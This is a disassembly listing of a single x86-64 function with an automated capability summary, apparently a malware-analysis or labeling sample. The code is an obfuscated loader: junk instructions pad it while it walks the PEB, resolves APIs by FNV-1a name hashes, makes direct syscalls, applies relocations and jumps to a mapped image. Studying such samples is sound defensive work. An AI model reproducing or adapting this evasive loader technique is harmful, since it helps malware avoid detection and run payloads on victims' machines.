Function at 0x1404420ad
Capabilities:
Access peb ldr_data
Encrypt data using speck
Execute anti-debugging instructions
Get kernel32 base address
Get number of processors
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push r15
stc
jmp 0x1404420bd
push r14
push r13
cmp dx, dx
push r12
test r15b, bpl
push rsi
push rdi
clc
test sil, al
stc
push rbp
push rbx
cmp r8b, 0xca
sub rsp, 0x78
cmp qword [0x1400dd010], 0
jmp 0x1404420e7
je 0x14044212a
sub eax, eax
lea rcx, [section.rqmMWax0]
clc
nop word cs:[rax + rax]
inc r15b
movzx r15w, dl
lea r15, [rax + 0x10]
clc
jmp 0x140442116
cmp qword [rax + rcx + 0x20], 0
mov rax, r15
jne 0x14044210c
jmp 0x140442130
xor r15d, r15d
test r10, rbp
movabs r12, 0xcbf29ce484222325
xchg r13w, cx
not r8d
movabs r13, 0x1d12a89b9e723ff5
mov rcx, qword gs:[0x30]
inc r10
mov rcx, qword [rcx + 0x60]
mov r10, qword [rcx + 0x18]
btr r8d, r14d
movzx r8d, r14w
add r10, 0x10
movabs r8, 0x2cc10c8855a9a8cd
jmp 0x14044217a
jmp 0x14044218d
cmp rbx, r8
jmp 0x140442187
je 0x140442274
mov r10, qword [r10]
mov r9, qword [r10 + 0x30]
test r9, r9
jmp 0x14044219c
je 0x140442519
mov r11, qword [r10 + 0x60]
cmp r8b, bl
mov rdi, 0xffffffffffffffff
stc
clc
cmp word [r11 + rdi*2 + 2], 0
jmp 0x1404421be
lea rdi, [rdi + 1]
jmp 0x1404421c7
jne 0x1404421b2
mov rbx, r12
test rdi, rdi
je 0x14044217f
xor ecx, ecx
and bp, r12w
mov rdx, r12
bt esi, 0xda
clc
bsr ax, r13w
nop word [rax + rax]
shld rbx, r13, 0xb
cbw
cmp r10b, 0x73
movzx ebx, word [r11 + rcx*2]
add ax, bp
lea ebp, [rbx - 0x41]
lea esi, [rbx - 0x410]
bsr ax, bx
sar al, cl
lea eax, [rbx + 0x20]
cmp si, 0x20
jmp 0x140442220
cmovb ebx, eax
cmp r8b, 0xec
cmp bp, 0x1a
jmp 0x140442230
cmovb ebx, eax
cmp r13b, r13b
stc
movzx ebx, bx
test rax, 0x6e4d0b90
clc
xor rbx, rdx
imul rbx, r13
dec dh
movzx edx, cx
cwd
inc ecx
btc rdx, 0xab
cdq
mov rdx, rbx
test rcx, 0x4c112b3d
cmp rcx, rdi
jmp 0x140442269
jb 0x1404421fd
jmp 0x14044217f
test r10, r10
jmp 0x14044227c
je 0x140442519
movsxd rax, dword [r9 + 0x3c]
cmc
mov eax, dword [r9 + rax + 0x88]
bswap ecx
mov rdx, 0x63414f9a
xadd rcx, rcx
lea rcx, [r9 + rax]
sub edx, 0x269b18ad
test rax, rax
movsx rdx, r12w
movzx rdx, di
xchg dl, dh
cmove rcx, rax
mov qword [rsp + 0x38], rcx
mov edx, dword [rcx + 0x18]
test r9w, 0x1936
test edx, edx
jmp 0x1404422cc
je 0x140442519
mov rax, qword [rsp + 0x38]
sbb rcx, 0x3c042251
mov ecx, dword [rax + 0x20]
xadd r10b, r10b
lea rcx, [rcx + r9]
movzx r8d, r9w
mov qword [rsp + 0x40], rcx
bsf r10d, r13d
xadd r8w, r10w
shl r10b, 0xeb
mov r10d, dword [rax + 0x24]
ror r8, cl
btr r8w, r13w
bswap r8
add r10, r9
sar r8b, cl
bsf r8d, edi
cmp r9b, 0x23
mov r8d, dword [rax + 0x1c]
cmc
test ah, 0xf7
jmp 0x140442329
lea r8, [r8 + r9]
cmp dil, 0x6c
cmc
xor edi, edi
jmp 0x140442339
jmp 0x140442369
mov edx, dword [rsp + 0x20]
jmp 0x14044234e
inc rdi
mov eax, edx
test r8d, 0x41f8112e
stc
cmp rdi, rax
jmp 0x140442363
jae 0x140442519
movzx ecx, word [r10 + rdi*2]
movsx bx, ah
mov ebx, dword [r8 + rcx*4]
cmp dword [r9 + rbx], 0xb8d18b4c
jmp 0x140442383
jne 0x14044234e
mov dword [rsp + 0x20], edx
mov rax, qword [rsp + 0x40]
test ah, 0xe6
movsx esi, sp
sal bpl, cl
mov esi, dword [rax + rdi*4]
bswap bp
rcr bpl, cl
add rsi, r9
mov bp, dx
or bp, di
mov rbp, 0xffffffffffffffff
clc
cmc
nop dword [rax + rax]
cmp byte [rsi + rbp + 1], 0
jmp 0x1404423c5
lea rbp, [rbp + 1]
jmp 0x1404423ce
jne 0x1404423bb
mov rcx, r12
cmp r11, r12
test rbp, rbp
jmp 0x1404423e2
je 0x140442477
xor r14d, r14d
movsx rax, bp
mov r11, r12
nop dword [rax]
ror eax, 0x5f
cbw
rcr ch, cl
movzx ecx, byte [rsi + r14]
not rax
add dh, 0x40
movsx rax, di
lea edx, [rcx - 0x41]
rcl ah, cl
lea eax, [rcx + 0x20]
cmp dl, 0x1a
jmp 0x14044241f
movzx eax, al
jmp 0x140442427
cmovae eax, ecx
or cl, r11b
cmovae cx, bx
btr ecx, r15d
movsx rcx, al
test r14b, r14b
test r12d, 0xd1e7653
cmp sp, 0x5242
xor rcx, r11
movsx r11d, r15w
imul rcx, r13
mov r11b, r14b
movsx r11, si
inc r14d
bt r11d, 0xef
mov r11, rcx
cmp r12w, di
cmp r14, rbp
jmp 0x140442471
jb 0x140442400
mov rsi, qword [0x1400dd010]
jmp 0x140442483
test rsi, rsi
jmp 0x14044248b
je 0x14044233e
lea rbp, [0x1400dd020]
nop word cs:[rax + rax]
clc
cmp rsi, rcx
jmp 0x1404424b0
je 0x1404424e2
mov rsi, qword [rbp]
clc
cmp sp, r12w
stc
add rbp, 0x10
test r12b, dl
test r11b, 0x83
cmp r8b, 0x1f
test rsi, rsi
jmp 0x1404424d7
jne 0x1404424a8
jmp 0x14044233e
mov eax, dword [rbx + r9 + 4]
movsxd rdx, ebx
jmp 0x1404424ef
mov dword [rbp - 8], eax
jmp 0x1404424fe
mov rax, qword [rsp + 0x38]
movsx rdx, ax
movsx dx, r14b
mov edx, dword [rax + 0x18]
jmp 0x140442514
jmp 0x14044234e
test r15, r15
je 0x1404425b8
xor ebp, ebp
inc dh
sar cx, cl
adc cx, 0x3f75
lea rbx, [section.rqmMWax0]
mov rcx, r12
shrd rdx, r13, 5
sar dh, 0xe4
bts dx, r14w
nop dword [rax]
xor dx, si
btr edx, r8d
rcl dl, cl
movzx edx, byte [rbp + rbx + 0x10]
xor rcx, rdx
clc
imul rcx, r13
jmp 0x140442563
inc ebp
cmp rbp, r15
jb 0x140442551
movabs rdx, 0xe9203a08b69f42e8
add rcx, rdx
movzx dx, r11b
movabs rdx, 0x52aea00e8a0b3911
test r9w, r9w
xor rdx, rcx
add ecx, 0x3ce7223b
bsr cx, r9w
ror rcx, 0xd4
movabs rcx, 0xee16cad6b000daab
stc
add rcx, rdx
jmp 0x1404425b3
jmp 0x1404425c8
movabs rcx, 0xd5d341ba60cb39c7
btr ax, r10w
stc
rol rcx, 0x16
shl ah, 0xbf
rol ax, cl
bts ax, r12w
movabs rax, 0x957b6a83b7a0090f
xor rax, rcx
xor cl, sil
bts cx, di
movsxd rcx, r13d
movabs rcx, 0xec0e237d69308474
cmp dil, r12b
cmp r9b, 0x98
stc
add rcx, rax
mov qword [0x1400b7208], rcx
test bl, r14b
cmp qword [0x1400de010], 0
jmp 0x14044261a
je 0x140442661
sub ecx, ecx
sal dh, cl
ror dx, 0x8b
movzx edx, ax
lea rdx, [section.Yvybeax1]
nop
btc ax, r9w
lea rax, [rcx + 0x10]
clc
cmc
cmp qword [rcx + rdx + 0x20], 0
jmp 0x14044264e
mov rcx, rax
jmp 0x140442656
jne 0x140442639
jmp 0x140442666
xor eax, eax
cmp spl, dil
mov qword [rsp + 0x60], rax
cmp rdi, 0x4dd75489
cmp dx, r9w
jmp 0x14044267b
xor ecx, ecx
jmp 0x140442682
jmp 0x14044269d
mov rcx, qword [rsp + 0x30]
inc rcx
cmp sil, 0xfe
cmp rcx, 8
je 0x140442a9b
lea rax, [0x1400bfdf0]
sbb r8b, 0x42
test edi, 0x39b442e1
mov qword [rsp + 0x30], rcx
and r8b, 0x57
mov r8, qword [rax + rcx*8]
shl r10b, cl
inc ah
test bl, 0x41
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
xor r10b, r12b
cmovle r10d, r13d
movzx r10w, r11b
mov r10, qword [rax + 0x18]
clc
cmc
add r10, 0x10
jmp 0x1404426eb
jmp 0x1404426fe
cmp rdx, r8
jmp 0x1404426f8
je 0x1404427de
mov r10, qword [r10]
neg r11b
xor r11, rdi
movzx r11w, r11b
mov r11, qword [r10 + 0x30]
cmp r10d, r13d
test r11, r11
je 0x140442687
mov r14, qword [r10 + 0x60]
mov rbx, 0xffffffffffffffff
test dl, 0xf6
test cx, dx
nop dword [rax]
test r13, r10
cmp word [r14 + rbx*2 + 2], 0
jmp 0x140442740
lea rbx, [rbx + 1]
jmp 0x140442749
jne 0x140442734
mov rdx, r12
test rbx, rbx
jmp 0x14044275a
je 0x1404426f0
xor ecx, ecx
cdqe
rcl si, 0x25
mov rdi, r12
neg al
nop word [rax + rax]
and rax, 0x50cb66e0
bswap si
movzx eax, word [r14 + rcx*2]
lea edx, [rax - 0x41]
lea esi, [rax - 0x410]
bsf ebp, r9d
lea ebp, [rax + 0x20]
cmp si, 0x20
jmp 0x14044279b
cmovb eax, ebp
jmp 0x1404427a6
cmp dx, 0x1a
xchg edx, edx
jmp 0x1404427b1
cmovb eax, ebp
test si, 0x52ab
movzx edx, ax
xor rdx, rdi
and di, r8w
imul rdx, r13
mov di, di
inc ecx
mov rdi, rdx
clc
cmp rcx, rbx
jb 0x14044277d
jmp 0x1404426f0
test r10, r10
jmp 0x1404427e6
je 0x140442687
movzx eax, word [r11]
cmp rcx, 0x18ad5f39
test r13w, bx
cmp eax, 0x5a4d
jmp 0x140442805
jne 0x14044284b
movsxd rax, dword [r11 + 0x3c]
jmp 0x140442814
lea rcx, [r11 + rax]
cmp dword [r11 + rax], 0x4550
movsx ax, bh
movzx eax, r8w
mov al, r15b
cmove r9, r11
movsx ax, dl
mov rax, qword [rsp + 0x58]
jmp 0x14044283d
cmove rax, rcx
jmp 0x140442846
jmp 0x14044285a
mov rax, qword [rsp + 0x58]
sar cx, cl
movsx cx, r12b
rcl cl, cl
mov qword [rsp + 0x58], rax
xor cl, 0x9d
mov ecx, dword [rax + 0x88]
bts bp, di
sar rax, cl
shl ax, cl
lea rax, [r9 + rcx]
movsx ebp, r12w
ror bp, 0xce
sub bpl, 0x8b
test rcx, rcx
movzx bp, r10b
cmove rax, rcx
mov ebp, dword [rax + 0x18]
test ebp, ebp
jmp 0x140442898
je 0x140442687
mov r14d, dword [rax + 0x20]
bsf rcx, rdx
sal cx, cl
add r14, r11
movsxd rcx, r10d
mov ecx, dword [rax + 0x24]
clc
lea rcx, [rcx + r11]
test r14b, 0x80
mov qword [rsp + 0x40], rcx
stc
cmp r11b, al
mov qword [rsp + 0x20], rax
mov eax, dword [rax + 0x1c]
lea rax, [rax + r11]
cmc
jmp 0x1404428d9
mov qword [rsp + 0x38], rax
cmp bpl, r9b
test r15b, 0x33
clc
sub esi, esi
jmp 0x14044294c
mov rax, qword [rsp + 0x40]
movzx eax, word [rax + rsi*2]
test cl, 0x21
sar dl, cl
cdq
mov rdx, qword [rsp + 0x38]
test r15b, 0xd3
mov eax, dword [rdx + rax*4]
jmp 0x140442913
add rax, r11
movzx ebp, sp
movsx bp, r13b
movsx ebp, r9w
mov qword [rcx - 8], rax
movzx eax, r9w
mov bp, bx
mov rax, qword [rsp + 0x20]
mov ebp, dword [rax + 0x18]
cbw
inc ah
inc rsi
mov eax, ebp
cmp rsi, rax
jmp 0x140442946
jae 0x140442687
mov r8d, dword [r14 + rsi*4]
sub bx, r9w
lea r8, [r8 + r11]
stc
rcr ebx, 0x41
btr bx, 0x54
mov rbx, 0xffffffffffffffff
test ax, r13w
test eax, 0x27bd662c
cmp dh, cl
nop dword [rax]
test r10b, 0x9f
cmc
cmp byte [r8 + rbx + 1], 0
jmp 0x140442987
lea rbx, [rbx + 1]
jmp 0x140442990
jne 0x14044297c
mov r10, r12
clc
test rbx, rbx
jmp 0x1404429a2
je 0x140442a3d
xor ecx, ecx
movsx dx, r13b
setl r15b
shr r10b, cl
mov r15, r12
mov r10b, dl
btr r10w, 7
nop dword [rax]
sbb dl, 0x10
btr rdx, r14
rcl dl, 0x84
movzx edi, byte [r8 + rcx]
and r10b, r8b
lea eax, [rdi - 0x41]
lea edx, [rdi + 0x20]
add r10, rax
movzx r10w, r11b
shrd r10w, r8w, 0xe3
cmp al, 0x1a
cbw
cdqe
movzx rax, r9w
movzx eax, dl
cmovae eax, edi
bsr r10d, r8d
shr r10b, cl
sbb r10w, bp
movsx r10, al
jmp 0x140442a13
xor r10, r15
rcr r15b, cl
imul r10, r13
inc ecx
bts r15d, r15d
mov r15, r10
jmp 0x140442a2f
cmp rcx, rbx
jmp 0x140442a37
jb 0x1404429d3
mov rbx, qword [0x1400de010]
cmp r14w, 0x3efe
test rbx, rbx
jmp 0x140442a52
je 0x140442939
lea rcx, [0x1400de020]
nop dword [rax + rax]
cmp r9b, 0x12
cmp rbx, r10
je 0x1404428ed
mov rbx, qword [rcx]
cmp r9b, 0x1b
stc
add rcx, 0x10
jmp 0x140442a88
test rbx, rbx
jmp 0x140442a90
jne 0x140442a68
jmp 0x140442939
mov rax, qword [rsp + 0x60]
test rax, rax
jmp 0x140442aa8
je 0x140442aef
xor ecx, ecx
lea rbp, [section.Yvybeax1]
btc rdx, 0xf8
nop dword [rax]
movzx edx, byte [rcx + rbp + 0x10]
clc
xor rdx, r12
imul rdx, r13
bswap r12w
inc ecx
mov r12b, bpl
mov r12, rdx
cmp r15b, sil
jmp 0x140442ae1
cmp rcx, rax
jb 0x140442abf
jmp 0x140442af6
mov rdx, r12
bts rcx, r12
rol rdx, 0xb
xadd ch, cl
movabs rax, 0xdf7ad2359957b5f4
sal cl, 0x36
add rax, rdx
rol rax, 0x16
shrd ecx, eax, 0xb2
movabs rcx, 0x4934245b3ce013cf
cmp eax, 0x1dd962fc
xor rcx, rax
inc ax
movabs rax, 0x5b5c0083c64fa867
add rax, rcx
rol rax, 0xc
movabs rcx, 0xdd5421de87040723
test r11b, 0x6d
add rcx, rax
btr eax, r11d
rol rcx, 0x25
shl al, 0x3b
cmp bp, 0x3898
mov qword [0x1400b7210], rcx
adc cx, 0x239d
or ah, 0xde
sub cl, r12b
mov eax, dword [0x7ffe0014]
movsx cx, sil
adc ch, 0x7e
mov dword [0x1400b8eb8], eax
movzx ecx, word [0x140000000]
cmp r10d, r8d
cmp r15w, 0x57c0
cmp ecx, 0x5a4d
jne 0x140442bd5
movsxd rcx, dword [0x14000003c]
lea rdx, [0x140000000]
cmp dword [rcx + rdx], 0x4550
jne 0x140442bd5
lea rbx, [rcx + rdx]
movzx r12w, sil
rcr r12b, 0xb8
lea r14, [rcx + rdx]
xchg ecx, r12d
add r14, 0x108
imul eax, eax, 0x41c64e6d
btc r13, rsp
setle r13b
add eax, 0x3039
imul ecx, eax, 0x41c64e6d
clc
bsf ebp, r12d
shr eax, 0x10
btr r12, rsp
lea edx, [rax + rax*2]
test si, 0x36d1
sbb r10d, 0x51a54021
shr edx, 0x10
cmp r15b, al
bts r10w, r12w
sub r13b, r14b
mov ebp, eax
sub ebp, edx
jmp 0x140442c25
movzx ebp, bp
shr ebp, 1
stc
ror r13w, 0x33
add ebp, edx
sar r12w, cl
movzx r13d, bp
sbb r12b, 0x25
shr r13d, 0xe
add r13d, eax
shl edx, 0x51
cmp ebx, 0x77f8640d
and r13d, 0x3fff
bts r10w, di
add r13d, 0xfff
sar r12b, 0x53
movsx r12w, bpl
clc
and r13d, 0x7000
add ecx, 0x3039
or r10d, ebp
stc
mov dword [0x1400b8eb8], ecx
clc
and ax, 0x57c3
shr ecx, 0x10
and r9b, sil
dec r9b
clc
lea eax, [rcx + rcx*2]
shr eax, 0x10
clc
mov edx, ecx
rcl r10b, cl
sub edx, eax
movzx edx, dx
movsx r9w, sil
shld r9w, dx, 0xcb
shr edx, 1
add edx, eax
lahf
sbb r12b, 0x1f
inc r10w
movzx r12d, dx
shr r12d, 0xe
add r12d, ecx
and ch, 0x94
and r12d, 0x3fff
movsx eax, sp
movsx r9, r13w
add r12d, 0xfff
bsr cx, r11w
add ecx, eax
btr r10w, r9w
and r12d, 0x7000
shl r9, cl
and r10b, r12b
mov qword [rsp + 0x28], 0
movzx r10w, dil
dec r10
lahf
mov qword [rsp + 0x20], rbx
mov ecx, dword [rbx + 0x50]
add rcx, r12
add rcx, r13
inc r9w
mov qword [rsp + 0x48], rcx
bts r9w, r8w
xor r9b, r9b
mov eax, dword [0x1400dd078]
cmovo r9, r8
lea rdx, [rsp + 0x28]
shr r10w, 0xa2
lea r9, [rsp + 0x48]
btc r10w, 0x89
mov r10, 0xffffffffffffffff
sub r8d, r8d
sub rsp, 0x40
jmp 0x140442d59
mov qword [rsp + 0x28], 0x3000
jmp 0x140442d67
mov qword [rsp + 0x30], 4
jmp 0x140442d75
syscall
add rsp, 0x40
ror cl, 0xb
rol ch, cl
mov rcx, qword [rsp + 0x28]
shld r8w, cx, 0xf4
cmp bpl, 0x49
mov r8, qword [rsp + 0x48]
clc
jmp 0x140442d9a
sub edx, edx
jmp 0x140442da1
call fcn.1404a3c96
mov r15, qword [rsp + 0x28]
clc
test r13d, r13d
jmp 0x140442db4
je 0x140443025
mov rcx, r13
add bl, r12b
btr r8d, 0xce
cqo
shr rcx, 3
cmp rcx, 2
movzx rdi, r8w
not bl
bswap r8
mov r8d, 1
rdtsc
jmp 0x140442de5
cmovae r8, rcx
lahf
rol dx, cl
shl al, 0xcb
sub r9d, r9d
test r13d, 0x76ca7320
sar dil, 0xb3
nop word cs:[rax + rax]
imul edx, dword [0x1400b8eb8], 0x41c64e6d
not rcx
xor ebx, edi
add edx, 0x3039
movzx rbp, r13w
imul edi, edx, 0x41c64e6d
xor bpl, r10b
inc bl
rol ah, cl
mov ebp, edx
cbw
sbb al, r15b
shr ebp, 0x10
lea edx, [rbp + rbp*2]
or rcx, 0x59814661
shr edx, 0x10
mov eax, ebp
bt rbx, r9
ror bh, 0x73
movsx cx, ah
sub eax, edx
bt si, bx
add bh, 0xa3
test r12d, ebp
movzx eax, ax
sbb ebx, 0x7c0b1e68
not bl
btr rcx, 0x4c
shr eax, 1
test r14d, 0x77c71320
add eax, edx
sub dl, r10b
not rcx
adc sil, 0x19
add edi, 0x3039
movsx rdx, r14w
shl sil, cl
movzx edx, ax
bt ecx, r15d
sbb esi, r11d
mov eax, edi
shr eax, 0x10
xor sil, 0xf9
sar cx, cl
lea ebx, [rax + rax*2]
shr edx, 0xe
neg si
btc rcx, 0x33
shr ebx, 0x10
bt esi, 0x54
bts cx, bx
mov esi, eax
sub esi, ebx
rcl ecx, cl
and cx, r8w
mov ecx, edx
movzx esi, si
clc
shr esi, 1
cmp esi, 0x40517d41
test ax, cx
add esi, ebx
bts rbx, r10
mov bx, 0x1abd
xor bl, 0xe
shl ecx, 0xf
shld bx, r8w, 0xbb
movzx ebx, si
shr ebx, 0xe
neg esi
inc sil
mov esi, ebx
sub edx, ecx
shl esi, 0xf
and cl, r13b
rol ch, 0xa1
sub ebx, esi
movzx cx, r13b
jmp 0x140442f15
add ebx, eax
sbb al, sil
add edx, ebp
rcl al, 0x2c
xor ebp, ebp
test edi, esp
sub ax, 0x2500
cmp bx, 0x10
not bx
setb bpl
dec rbx
imul eax, edi, 0x41c64e6d
mov cl, 0x49
bts bx, bx
add eax, 0x3039
btc cx, r15w
dec bx
imul ecx, eax, 0x41c64e6d
movzx rbx, di
btr bx, cx
shl bh, 0x1c
shr eax, 0x10
shl bx, 0xc8
lea ebx, [rax + rax*2]
shld di, bp, 0x69
shr ebx, 0x10
and edi, 0x6bed2f15
mov edi, eax
cmp dh, 0x79
jmp 0x140442f81
sub edi, ebx
cmp r14b, 0xf2
movzx edi, di
cmp r8b, 0x7a
cmp r13, r15
shr edi, 1
test cl, r14b
add edi, ebx
shld ebx, edx, 8
movzx edx, dx
dec ebx
movzx ebx, di
sub dil, 0x73
shr ebx, 0xe
test r8d, 0x17a20c93
mov edi, ebx
test al, r12b
or rbp, rdx
shl edi, 0xf
test r12, rsi
cmp r12b, r14b
cmp ebx, 0x23ed2cbc
sub ebx, edi
add ebx, eax
add ecx, 0x3039
test spl, 0x8c
jmp 0x140442fe1
xor eax, eax
cmp bx, 0x20
setb al
clc
cmc
mov dword [0x1400b8eb8], ecx
test r15w, 0x2127
or rax, rbp
mov qword [r15 + r9*8], rax
jmp 0x140443004
inc r9
cmp ax, 0x6b9a
jmp 0x140443010
cmp r8, r9
jmp 0x140443018
jne 0x140442e08
mov r15, qword [rsp + 0x28]
clc
cmc
test r12, r12
je 0x140443241
sub r15, r12
add r15, qword [rsp + 0x48]
shr r12, 3
cmp r12, 2
movsx rdx, sp
movsxd rbx, r13d
mov r8d, 1
mov cx, 0x68db
cmovae r8, r12
xor r9d, r9d
nop
imul edx, dword [0x1400b8eb8], 0x41c64e6d
ror eax, 0xb0
add edx, 0x3039
imul edi, edx, 0x41c64e6d
sub cx, dx
xor bpl, 0x65
rol si, 0xae
mov ebp, edx
sub si, 0x2e9
btc eax, r11d
shr ebp, 0x10
cmovae cx, r13w
inc ch
rdtsc
lea edx, [rbp + rbp*2]
shr edx, 0x10
mov ebx, ebp
sub ebx, edx
btr si, 0xc8
bt si, bx
cwde
movzx ebx, bx
shr ebx, 1
cmp r15b, 0x6c
add ebx, edx
neg esi
sbb ecx, r11d
xor rsi, r8
add edi, 0x3039
movzx edx, bx
mov ebx, edi
shr ebx, 0x10
lea esi, [rbx + rbx*2]
shr edx, 0xe
seto ch
ror ax, 0xc7
shr esi, 0x10
or cl, 0xd6
clc
mov eax, ebx
bt ecx, 0x93
not ch
sub eax, esi
jmp 0x1404430f1
mov ecx, edx
movzx eax, ax
stc
test r10b, sil
shr eax, 1
jmp 0x140443101
add eax, esi
inc sil
xor sil, bpl
mov si, 0x2644
shl ecx, 0xf
btr si, r10w
and sil, 0xea
movsxd rsi, edx
movzx eax, ax
bts rsi, rsi
rol sil, 0xe9
shr eax, 0xe
sal si, cl
adc sil, 0xab
mov esi, eax
sub edx, ecx
adc cx, 0x5cde
cmovns ecx, ebx
shl esi, 0xf
sbb rcx, r8
sar cx, cl
sub eax, esi
btc cx, 0x92
bswap cx
rcl ecx, cl
add eax, ebx
add edx, ebp
sub cl, spl
xor ebp, ebp
cmp ax, 0x10
setb bpl
shl ch, 0x88
sub rbx, rsp
bsr ax, r9w
imul eax, edi, 0x41c64e6d
sub bx, dx
add eax, 0x3039
movsx bx, ah
imul ecx, eax, 0x41c64e6d
test r13b, r8b
shr eax, 0x10
lea ebx, [rax + rax*2]
xadd dil, dil
sbb dil, 0x5b
ror edi, 0xfe
shr ebx, 0x10
mov edi, eax
test r12d, 0x50523bae
cmp r8d, esi
sub edi, ebx
movzx edi, di
cmp r15d, 0x7fc310f
test dil, 0x64
shr edi, 1
add edi, ebx
bt bx, 0x86
cmp dil, 0x31
movzx edx, dx
sub rbx, 0x438022b2
movzx ebx, di
shr ebx, 0xe
xchg dil, dil
not di
mov edi, ebx
or rbp, rdx
shl edi, 0xf
sub ebx, edi
cmp r14b, 0x44
add ebx, eax
add ecx, 0x3039
cmp r9w, bp
xor eax, eax
neg al
or al, r13b
cmp bx, 0x20
setb al
clc
cmc
jmp 0x14044320b
mov dword [0x1400b8eb8], ecx
cmc
or rax, rbp
jmp 0x14044321a
mov qword [r15 + r9*8], rax
jmp 0x140443223
inc r9
cmp dl, bpl
clc
cmp r8, r9
jmp 0x140443232
jne 0x140443058
mov r15, qword [rsp + 0x28]
rcl ax, 0xc7
mov rax, qword [rsp + 0x20]
test r11b, 0xde
add r15, r13
cmc
movzx eax, word [rax + 6]
test bx, 0xbd6
cmc
test rax, rax
jmp 0x140443260
je 0x14044337b
shl rax, 3
lea rbp, [rax + rax*4]
xor edi, edi
mov ebx, 4
shrd r8, r10, 0x7c
lea rsi, [rsp + 0x70]
sub r13d, ebp
lea r12, [rsp + 0x68]
bt r13w, si
movzx cx, ah
adc ah, 0x88
lea r13, [rsp + 0x54]
shld r8w, r14w, 0x82
nop dword [rax + rax]
and cx, r12w
cmc
mov edx, dword [r14 + rdi + 0xc]
shr ax, cl
sbb cl, r11b
lea rcx, [r15 + rdx]
mov qword [rsp + 0x70], rcx
shr eax, 0xe1
sub ax, 0x3d7
lea rax, [0x140000000]
mov r8b, 0xa7
add rdx, rax
movzx r8d, si
movsx r8, di
cmovs r8w, dx
mov r8d, dword [r14 + rdi + 8]
jmp 0x1404432e7
call fcn.1404a31ea
mov eax, dword [r14 + rdi + 8]
xadd r8b, dl
mov dh, 0x59
rcl r9w, cl
mov qword [rsp + 0x68], rax
cdq
xchg edx, eax
sal r9d, 0xee
mov dword [rsp + 0x54], 0
shl dx, 7
test dword [r14 + rdi + 0x24], 0x20000000
cwde
movzx r10w, al
mov r9d, 0x40
cmove r9d, ebx
movsxd r8, r10d
bsr dx, sp
or r8w, 0x6656
mov eax, dword [0x1400dd088]
adc dh, 0xd6
mov r10, 0xffffffffffffffff
mov rdx, rsi
mov r8, r12
cmp cx, r9w
sub rsp, 0x30
mov qword [rsp + 0x28], r13
jmp 0x140443361
syscall
add rsp, 0x30
add rdi, 0x28
cmp r10d, ebp
cmp ebp, edi
jmp 0x140443375
jne 0x1404432a8
lea rdx, [0x140000000]
shr rax, cl
btr si, 0xc7
mov rax, r15
cmovne cx, ax
sub rax, rdx
movzx rcx, cx
sar esi, cl
xchg cl, sil
mov rsi, qword [rsp + 0x20]
shld ecx, esi, 0x3d
mov ecx, dword [rsi + 0xb0]
cmp dil, 0x36
cmp r12b, r14b
add rcx, rdx
jmp 0x1404433bb
je 0x140443498
mov r8d, 1
jmp 0x1404433cc
jmp 0x1404433dd
mov ebx, dword [rcx + 4]
add rcx, rbx
je 0x140443498
cmp dword [rcx], 0
jmp 0x1404433e5
je 0x140443498
mov ebx, dword [rcx + 4]
test r12b, al
test rbx, rbx
je 0x140443498
lea rbp, [rbx - 8]
cmp rbp, 2
jb 0x1404433d4
shr rbp, 1
test rax, r15
stc
cmp rbp, 2
jmp 0x140443418
cmovb rbp, r8
sub ebx, ebx
jmp 0x140443423
jmp 0x14044345a
and edi, 0xfff
cmp ebp, eax
movsx rdx, si
mov edx, dword [rcx]
add rdi, r15
add qword [rdx + rdi], rax
jmp 0x140443442
inc rbx
test r10b, cl
test ax, 0x7257
cmp rbp, rbx
jmp 0x140443454
je 0x1404433d1
movzx edi, word [rcx + rbx*2 + 8]
cmp r14w, r11w
cmp edi, 0x1000
jmp 0x14044346e
jb 0x140443442
mov edx, edi
stc
clc
shr edx, 0xc
clc
cmp edx, 0xa
jmp 0x140443484
je 0x140443428
cmp edx, 3
je 0x140443428
jmp 0x140443442
mov ecx, dword [rsi + 0xd0]
jmp 0x1404434a3
movq xmm0, rax
pshufd xmm0, xmm0, 0x44
movdqu xmm1, xmmword [r15 + rcx]
jmp 0x1404434b8
movdqu xmm2, xmmword [r15 + rcx + 0x10]
jmp 0x1404434c4
paddq xmm1, xmm0
movdqu xmmword [r15 + rcx], xmm1
jmp 0x1404434d3
paddq xmm2, xmm0
movdqu xmmword [r15 + rcx + 0x10], xmm2
bsr cx, si
shrd rcx, rcx, 0x73
lea rdx, [0x14005d630]
ror ch, cl
or cl, 0xae
cmp dl, r12b
add rdx, rax
movsx cx, r10b
lea rcx, [0x140000000]
call rdx
nop
shr r13d, 0xa9
add rsp, 0x78
bswap r15w
xchg r12w, bp
movzx r14w, r9b
pop rbx
pop rbp
jmp 0x14044352c
pop rdi
movzx r12w, bpl
movsxd r13, esi
pop rsi
pop r12
movzx r15w, r15b
setns r15b
pop r13
movsx r15, dx
movzx r15w, r11b
setno r14b
pop r14
jmp 0x140443557
pop r15
jmp 0x14044355e
ret